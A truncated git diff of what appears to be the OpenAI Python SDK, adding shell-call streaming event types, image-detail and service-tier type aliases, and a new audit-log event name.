+ ResponseShellCallCommandDeltaEvent,
ResponseImageGenCallGeneratingEvent,
ResponseImageGenCallInProgressEvent,
ResponseMcpListToolsInProgressEvent,
@@ -53,7 +56,9 @@
ResponseReasoningSummaryPartAddedEvent,
ResponseReasoningSummaryTextDeltaEvent,
ResponseFunctionCallArgumentsDeltaEvent as RawResponseFunctionCallArgumentsDeltaEvent,
+ ResponseShellCallOutputContentDoneEvent,
ResponseCodeInterpreterCallCodeDoneEvent,
+ ResponseShellCallOutputContentDeltaEvent,
ResponseCodeInterpreterCallCodeDeltaEvent,
ResponseCodeInterpreterCallCompletedEvent,
ResponseCodeInterpreterCallInProgressEvent,
@@ -110,6 +115,11 @@ class ResponseCompletedEvent(RawResponseCompletedEvent, GenericModel, Generic[Te
ResponseFileSearchCallInProgressEvent,
ResponseFileSearchCallSearchingEvent,
ResponseFunctionCallArgumentsDoneEvent,
+ ResponseShellCallCommandAddedEvent,
+ ResponseShellCallCommandDeltaEvent,
+ ResponseShellCallCommandDoneEvent,
+ ResponseShellCallOutputContentDeltaEvent,
+ ResponseShellCallOutputContentDoneEvent,
ResponseInProgressEvent,
ResponseFailedEvent,
ResponseIncompleteEvent,
diff --git a/src/openai/resources/admin/organization/audit_logs.py b/src/openai/resources/admin/organization/audit_logs.py
index a0530d27a7..d90442a107 100644
--- a/src/openai/resources/admin/organization/audit_logs.py
+++ b/src/openai/resources/admin/organization/audit_logs.py
@@ -180,6 +180,7 @@ def list(
"tenant.resource_role_assignment.deleted",
"tenant.resource_access.updated",
"tenant.resource_access.deleted",
+ "tenant.ads_account.onboarding.redemption",
"tenant.session_policy.created",
"tenant.session_policy.updated",
"tenant.session_policy.deleted",
@@ -446,6 +447,7 @@ def list(
"tenant.resource_role_assignment.deleted",
"tenant.resource_access.updated",
"tenant.resource_access.deleted",
+ "tenant.ads_account.onboarding.redemption",
"tenant.session_policy.created",
"tenant.session_policy.updated",
"tenant.session_policy.deleted",
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 74c646d3a3..d04d51eef8 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -50,6 +50,7 @@
from ...._event_handler import EventHandlerRegistry
from ....types.beta.beta_response import BetaResponse
from ....types.beta.beta_tool_param import BetaToolParam
+from ....types.beta.beta_service_tier import BetaServiceTier
from ....types.websocket_reconnection import ReconnectingEvent, ReconnectingOverrides, is_recoverable_close
from ....types.beta.beta_compacted_response import BetaCompactedResponse
from ....types.websocket_connection_options import WebSocketConnectionOptions
@@ -233,8 +234,7 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[BetaServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -631,8 +631,7 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[BetaServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -1028,8 +1027,7 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[BetaServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -1423,8 +1421,7 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[BetaServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Literal[True] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -2192,8 +2189,7 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[BetaServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -2590,8 +2586,7 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[BetaServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -2987,8 +2982,7 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[BetaServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -3382,8 +3376,7 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[BetaServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Literal[True] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -5155,8 +5148,7 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[beta_responses_client_event_param.ResponseCreateReasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[BetaServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
stream_id: str | Omit = omit,
@@ -5370,8 +5362,7 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[beta_responses_client_event_param.ResponseCreateReasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[BetaServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
stream_id: str | Omit = omit,
diff --git a/src/openai/resources/responses/api.md b/src/openai/resources/responses/api.md
index 7a9b53afa2..a5fec8f9b5 100644
--- a/src/openai/resources/responses/api.md
+++ b/src/openai/resources/responses/api.md
@@ -20,6 +20,7 @@ from openai.types.responses import (
FileSearchTool,
FunctionShellTool,
FunctionTool,
+ ImageDetail,
InlineSkill,
InlineSkillSource,
LocalEnvironment,
@@ -125,6 +126,11 @@ from openai.types.responses import (
ResponseReasoningTextDoneEvent,
ResponseRefusalDeltaEvent,
ResponseRefusalDoneEvent,
+ ResponseShellCallCommandAddedEvent,
+ ResponseShellCallCommandDeltaEvent,
+ ResponseShellCallCommandDoneEvent,
+ ResponseShellCallOutputContentDeltaEvent,
+ ResponseShellCallOutputContentDoneEvent,
ResponseStatus,
ResponseStreamEvent,
ResponseTextConfig,
@@ -139,6 +145,7 @@ from openai.types.responses import (
ResponseWebSearchCallSearchingEvent,
ResponsesClientEvent,
ResponsesServerEvent,
+ ServiceTier,
SkillReference,
Tool,
ToolChoiceAllowed,
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 1bbf1fdb3a..b58880d32c 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -71,6 +71,7 @@
)
from ...types.responses.response import Response
from ...types.responses.tool_param import ToolParam, ParseableToolParam
+from ...types.responses.service_tier import ServiceTier
from ...types.shared_params.metadata import Metadata
from ...types.websocket_reconnection import ReconnectingEvent, ReconnectingOverrides, is_recoverable_close
from ...types.shared_params.reasoning import Reasoning
@@ -151,8 +152,7 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -438,8 +438,7 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -724,8 +723,7 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -1008,8 +1006,7 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Literal[True] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -1120,7 +1117,7 @@ def stream(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -1163,7 +1160,7 @@ def stream(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -1325,7 +1322,7 @@ def parse(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Literal[True] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -2023,8 +2020,7 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -2310,8 +2306,7 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -2596,8 +2591,7 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -2880,8 +2874,7 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Literal[True] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -2992,7 +2985,7 @@ def stream(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -3035,7 +3028,7 @@ def stream(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -3196,7 +3189,7 @@ async def parse(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Literal[True] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -4933,8 +4926,7 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
stream_id: str | Omit = omit,
@@ -5020,8 +5012,7 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
- | Omit = omit,
+ service_tier: Optional[ServiceTier] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
stream_id: str | Omit = omit,
diff --git a/src/openai/types/admin/organization/audit_log_list_params.py b/src/openai/types/admin/organization/audit_log_list_params.py
index a5476ff8d9..23e343eec7 100644
--- a/src/openai/types/admin/organization/audit_log_list_params.py
+++ b/src/openai/types/admin/organization/audit_log_list_params.py
@@ -170,6 +170,7 @@ class AuditLogListParams(TypedDict, total=False):
"tenant.resource_role_assignment.deleted",
"tenant.resource_access.updated",
"tenant.resource_access.deleted",
+ "tenant.ads_account.onboarding.redemption",
"tenant.session_policy.created",
"tenant.session_policy.updated",
"tenant.session_policy.deleted",
diff --git a/src/openai/types/admin/organization/audit_log_list_response.py b/src/openai/types/admin/organization/audit_log_list_response.py
index dd135cc0e1..d9f0712b9a 100644
--- a/src/openai/types/admin/organization/audit_log_list_response.py
+++ b/src/openai/types/admin/organization/audit_log_list_response.py
@@ -1105,6 +1105,7 @@ class AuditLogListResponse(BaseModel):
"tenant.resource_role_assignment.deleted",
"tenant.resource_access.updated",
"tenant.resource_access.deleted",
+ "tenant.ads_account.onboarding.redemption",
"tenant.session_policy.created",
"tenant.session_policy.updated",
"tenant.session_policy.deleted",
diff --git a/src/openai/types/beta/__init__.py b/src/openai/types/beta/__init__.py
index 52d3322576..214b3a9423 100644
--- a/src/openai/types/beta/__init__.py
+++ b/src/openai/types/beta/__init__.py
@@ -15,7 +15,9 @@
from .chatkit_workflow import ChatKitWorkflow as ChatKitWorkflow
from .file_search_tool import FileSearchTool as FileSearchTool
from .assistant_deleted import AssistantDeleted as AssistantDeleted
+from .beta_image_detail import BetaImageDetail as BetaImageDetail
from .beta_inline_skill import BetaInlineSkill as BetaInlineSkill
+from .beta_service_tier import BetaServiceTier as BetaServiceTier
from .beta_computer_tool import BetaComputerTool as BetaComputerTool
from .beta_function_tool import BetaFunctionTool as BetaFunctionTool
from .beta_response_item import BetaResponseItem as BetaResponseItem
@@ -262,6 +264,9 @@
from .beta_response_mcp_call_arguments_done_event import (
BetaResponseMcpCallArgumentsDoneEvent as BetaResponseMcpCallArgumentsDoneEvent,
)
+from .beta_response_shell_call_command_done_event import (
+ BetaResponseShellCallCommandDoneEvent as BetaResponseShellCallCommandDoneEvent,
+)
from .beta_response_tool_search_output_item_param import (
BetaResponseToolSearchOutputItemParam as BetaResponseToolSearchOutputItemParam,
)
@@ -289,6 +294,12 @@
from .beta_response_mcp_list_tools_completed_event import (
BetaResponseMcpListToolsCompletedEvent as BetaResponseMcpListToolsCompletedEvent,
)
+from .beta_response_shell_call_command_added_event import (
+ BetaResponseShellCallCommandAddedEvent as BetaResponseShellCallCommandAddedEvent,
+)
+from .beta_response_shell_call_command_delta_event import (
+ BetaResponseShellCallCommandDeltaEvent as BetaResponseShellCallCommandDeltaEvent,
+)
from .beta_container_network_policy_allowlist_param import (
BetaContainerNetworkPolicyAllowlistParam as BetaContainerNetworkPolicyAllowlistParam,
)
@@ -379,12 +390,18 @@
from .beta_response_function_call_output_item_list_param import (
BetaResponseFunctionCallOutputItemListParam as BetaResponseFunctionCallOutputItemListParam,
)
+from .beta_response_shell_call_output_content_done_event import (
+ BetaResponseShellCallOutputContentDoneEvent as BetaResponseShellCallOutputContentDoneEvent,
+)
from .beta_response_code_interpreter_call_code_done_event import (
BetaResponseCodeInterpreterCallCodeDoneEvent as BetaResponseCodeInterpreterCallCodeDoneEvent,
)
from .beta_response_code_interpreter_call_completed_event import (
BetaResponseCodeInterpreterCallCompletedEvent as BetaResponseCodeInterpreterCallCompletedEvent,
)
+from .beta_response_shell_call_output_content_delta_event import (
+ BetaResponseShellCallOutputContentDeltaEvent as BetaResponseShellCallOutputContentDeltaEvent,
+)
from .beta_response_code_interpreter_call_code_delta_event import (
BetaResponseCodeInterpreterCallCodeDeltaEvent as BetaResponseCodeInterpreterCallCodeDeltaEvent,
)
diff --git a/src/openai/types/beta/beta_image_detail.py b/src/openai/types/beta/beta_image_detail.py
new file mode 100644
index 0000000000..6402b098e8
--- /dev/null
+++ b/src/openai/types/beta/beta_image_detail.py
@@ -0,0 +1,7 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["BetaImageDetail"]
+
+BetaImageDetail: TypeAlias = Literal["low", "high", "auto", "original"]
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index 7ec4eef813..23740ab292 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -6,6 +6,7 @@
from ..._utils import PropertyInfo
from ..._models import BaseModel
from .beta_tool import BetaTool
+from .beta_service_tier import BetaServiceTier
from .beta_response_error import BetaResponseError
from .beta_response_usage import BetaResponseUsage
from .beta_response_prompt import BetaResponsePrompt
@@ -558,7 +559,7 @@ class BetaResponse(BaseModel):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] = None
+ service_tier: Optional[BetaServiceTier] = None
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
diff --git a/src/openai/types/beta/beta_response_image_gen_call_partial_image_event.py b/src/openai/types/beta/beta_response_image_gen_call_partial_image_event.py
index ba573ae307..79ef0bb9e5 100644
--- a/src/openai/types/beta/beta_response_image_gen_call_partial_image_event.py
+++ b/src/openai/types/beta/beta_response_image_gen_call_partial_image_event.py
@@ -41,3 +41,15 @@ class BetaResponseImageGenCallPartialImageEvent(BaseModel):
agent: Optional[Agent] = None
"""The agent that owns this multi-agent streaming event."""
+
+ background: Optional[str] = None
+ """The background setting that was used."""
+
+ output_format: Optional[str] = None
+ """The output format that was used."""
+
+ quality: Optional[str] = None
+ """The image quality that was used."""
+
+ size: Optional[str] = None
+ """The image size that was used."""
diff --git a/src/openai/types/beta/beta_response_input_image.py b/src/openai/types/beta/beta_response_input_image.py
index 738998f7d5..7924aded41 100644
--- a/src/openai/types/beta/beta_response_input_image.py
+++ b/src/openai/types/beta/beta_response_input_image.py
@@ -4,6 +4,7 @@
from typing_extensions import Literal
from ..._models import BaseModel
+from .beta_image_detail import BetaImageDetail
__all__ = ["BetaResponseInputImage", "PromptCacheBreakpoint"]
@@ -24,7 +25,7 @@ class BetaResponseInputImage(BaseModel):
Learn about [image inputs](https://platform.openai.com/docs/guides/vision).
"""
- detail: Literal["low", "high", "auto", "original"]
+ detail: BetaImageDetail
"""The detail level of the image to be sent to the model.
One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
diff --git a/src/openai/types/beta/beta_response_input_image_content.py b/src/openai/types/beta/beta_response_input_image_content.py
index 24bf4d1cdf..0e4dbe6af5 100644
--- a/src/openai/types/beta/beta_response_input_image_content.py
+++ b/src/openai/types/beta/beta_response_input_image_content.py
@@ -4,6 +4,7 @@
from typing_extensions import Literal
from ..._models import BaseModel
+from .beta_image_detail import BetaImageDetail
__all__ = ["BetaResponseInputImageContent", "PromptCacheBreakpoint"]
@@ -27,7 +28,7 @@ class BetaResponseInputImageContent(BaseModel):
type: Literal["input_image"]
"""The type of the input item. Always `input_image`."""
- detail: Optional[Literal["low", "high", "auto", "original"]] = None
+ detail: Optional[BetaImageDetail] = None
"""The detail level of the image to be sent to the model.
One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
diff --git a/src/openai/types/beta/beta_response_input_image_content_param.py b/src/openai/types/beta/beta_response_input_image_content_param.py
index e692dea452..e0caff4b04 100644
--- a/src/openai/types/beta/beta_response_input_image_content_param.py
+++ b/src/openai/types/beta/beta_response_input_image_content_param.py
@@ -5,6 +5,8 @@
from typing import Optional
from typing_extensions import Literal, Required, TypedDict
+from .beta_image_detail import BetaImageDetail
+
__all__ = ["BetaResponseInputImageContentParam", "PromptCacheBreakpoint"]
@@ -27,7 +29,7 @@ class BetaResponseInputImageContentParam(TypedDict, total=False):
type: Required[Literal["input_image"]]
"""The type of the input item. Always `input_image`."""
- detail: Optional[Literal["low", "high", "auto", "original"]]
+ detail: Optional[BetaImageDetail]
"""The detail level of the image to be sent to the model.
One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
diff --git a/src/openai/types/beta/beta_response_input_image_param.py b/src/openai/types/beta/beta_response_input_image_param.py
index 57ad35d0c7..c5631d2733 100644
--- a/src/openai/types/beta/beta_response_input_image_param.py
+++ b/src/openai/types/beta/beta_response_input_image_param.py
@@ -5,6 +5,8 @@
from typing import Optional
from typing_extensions import Literal, Required, TypedDict
+from .beta_image_detail import BetaImageDetail
+
__all__ = ["BetaResponseInputImageParam", "PromptCacheBreakpoint"]
@@ -24,7 +26,7 @@ class BetaResponseInputImageParam(TypedDict, total=False):
Learn about [image inputs](https://platform.openai.com/docs/guides/vision).
"""
- detail: Required[Literal["low", "high", "auto", "original"]]
+ detail: Required[BetaImageDetail]
"""The detail level of the image to be sent to the model.
One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
diff --git a/src/openai/types/beta/beta_response_item.py b/src/openai/types/beta/beta_response_item.py
index 325220968e..69098094ca 100644
--- a/src/openai/types/beta/beta_response_item.py
+++ b/src/openai/types/beta/beta_response_item.py
@@ -6,6 +6,7 @@
from ..._utils import PropertyInfo
from ..._models import BaseModel
from .beta_tool import BetaTool
+from .beta_image_detail import BetaImageDetail
from .beta_mcp_tool_call_error import BetaMcpToolCallError
from .beta_response_input_file import BetaResponseInputFile
from .beta_response_input_text import BetaResponseInputText
@@ -113,7 +114,7 @@ class AgentMessageContentComputerScreenshotPromptCacheBreakpoint(BaseModel):
class AgentMessageContentComputerScreenshot(BaseModel):
"""A screenshot of a computer."""
- detail: Literal["low", "high", "auto", "original"]
+ detail: BetaImageDetail
"""The detail level of the screenshot image to be sent to the model.
One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
diff --git a/src/openai/types/beta/beta_response_output_item.py b/src/openai/types/beta/beta_response_output_item.py
index 045a7a6b90..5c52f5e19a 100644
--- a/src/openai/types/beta/beta_response_output_item.py
+++ b/src/openai/types/beta/beta_response_output_item.py
@@ -6,6 +6,7 @@
from ..._utils import PropertyInfo
from ..._models import BaseModel
from .beta_tool import BetaTool
+from .beta_image_detail import BetaImageDetail
from .beta_mcp_tool_call_error import BetaMcpToolCallError
from .beta_response_input_file import BetaResponseInputFile
from .beta_response_input_text import BetaResponseInputText
@@ -112,7 +113,7 @@ class AgentMessageContentComputerScreenshotPromptCacheBreakpoint(BaseModel):
class AgentMessageContentComputerScreenshot(BaseModel):
"""A screenshot of a computer."""
- detail: Literal["low", "high", "auto", "original"]
+ detail: BetaImageDetail
"""The detail level of the screenshot image to be sent to the model.
One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
diff --git a/src/openai/types/beta/beta_response_shell_call_command_added_event.py b/src/openai/types/beta/beta_response_shell_call_command_added_event.py
new file mode 100644
index 0000000000..cc62fd8c43
--- /dev/null
+++ b/src/openai/types/beta/beta_response_shell_call_command_added_event.py
@@ -0,0 +1,37 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["BetaResponseShellCallCommandAddedEvent", "Agent"]
+
+
+class Agent(BaseModel):
+ """The agent that owns this multi-agent streaming event."""
+
+ agent_name: str
+ """The canonical name of the agent that produced this item."""
+
+
+class BetaResponseShellCallCommandAddedEvent(BaseModel):
+ """A streaming event that indicated a shell command was added to a tool call."""
+
+ command: str
+ """The shell command that was added."""
+
+ command_index: int
+ """The index of the shell command that was added."""
+
+ output_index: int
+ """The index of the output item that was updated."""
+
+ sequence_number: int
+ """The sequence number of the event that was emitted."""
+
+ type: Literal["response.shell_call_command.added"]
+ """The type of the event, always `response.shell_call_command.added`."""
+
+ agent: Optional[Agent] = None
+ """The agent that owns this multi-agent streaming event."""
diff --git a/src/openai/types/beta/beta_response_shell_call_command_delta_event.py b/src/openai/types/beta/beta_response_shell_call_command_delta_event.py
new file mode 100644
index 0000000000..51a166785e
--- /dev/null
+++ b/src/openai/types/beta/beta_response_shell_call_command_delta_event.py
@@ -0,0 +1,40 @@
